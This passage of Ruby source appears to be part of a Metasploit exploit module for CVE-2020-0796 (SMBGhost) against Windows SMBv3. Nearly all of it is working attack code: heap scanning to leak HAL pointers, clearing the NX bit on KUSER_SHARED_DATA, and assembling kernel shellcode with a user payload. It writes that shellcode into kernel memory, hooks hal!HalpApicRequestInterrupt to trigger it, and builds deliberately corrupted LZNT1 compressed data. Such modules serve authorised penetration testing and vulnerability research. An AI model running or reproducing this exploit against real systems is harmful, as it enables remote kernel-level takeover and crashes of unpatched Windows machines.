va_cursor = pointers[:phal_heap]
end_va = va_cursor + 0x20000
while va_cursor < end_va
phys_addr = get_phys_addr(pointers, va_cursor)
buff = read_primitive(phys_addr)
buff = buff[0...-(buff.length % 8)]
values = buff.unpack('Q<*')
window_size = 8 # using a sliding window to fingerprint the memory
0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
va = va_cursor + (i * 8)
window = values[i...(i + window_size)]
next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
next unless window[3].between?(0x20, 0x40)
next unless (window[0] - window[2]).between?(0x80, 0x180)
phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12
# looks legit (TM), lets hope for the best
# use WinDBG to validate the hal!HalpInterruptController value manually
# 0: kd> dq poi(hal!HalpInterruptController) L1
pointers[:pHalpInterruptController] = va
print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")
# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
pointers[:pHalpApicRequestInterrupt] = phalp_ari
print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
return pointers
end
va_cursor += buff.length
end
fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
end
def build_shellcode(pointers)
source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'))
edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
user_shellcode = payload.encoded
edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
edata.data + user_shellcode
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute this module? There is a high probability that even when the exploit is
successful the remote target will crash within about 90 minutes.
Disable the DefangedMode option to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
@memory_cache = {}
@shellcode_length = 0
pointers = find_low_stub
pointers = find_pml4_selfref(pointers)
pointers = search_hal_heap(pointers)
@nx_info = disable_nx(pointers, target['KuserSharedData'])
print_status('KUSER_SHARED_DATA PTE NX bit cleared!')
shellcode = build_shellcode(pointers)
vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
@shellcode_length = shellcode.length
write_bytes = 0
while write_bytes < @shellcode_length
write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
write_bytes += write_sz
end
vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
end
def cleanup
return unless @memory_cache&.present?
if @nx_info&.present?
print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
end
# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
(start_va..end_va).step(WRITE_UNIT).each do |cursor|
write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
end
end
module CorruptLZNT1
def self.compress(buf, chunk_size: 0x1000)
out = ''
until buf.empty?
chunk = buf[0...chunk_size]
compressed = LZNT1.compress_chunk(chunk)
# always use the compressed chunk, even if it's larger
out << [ 0xb000 | (compressed.length - 1) ].pack('v')
out << compressed
buf = buf[chunk_size..-1]
break if buf.nil?
end
out << [ 0x1337 ].pack('v')
out
end
end
class MDL < BinData::Record
# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
endian :little
uint64 :next_mdl
uint16 :mdl_size
uint16 :mdl_flags
uint16 :allocation_processor_number
uint16 :reserved
uint64 :process
uint64 :mapped_system_va
uint64 :start_va
uint32 :byte_count
uint32 :byte_offset
end
end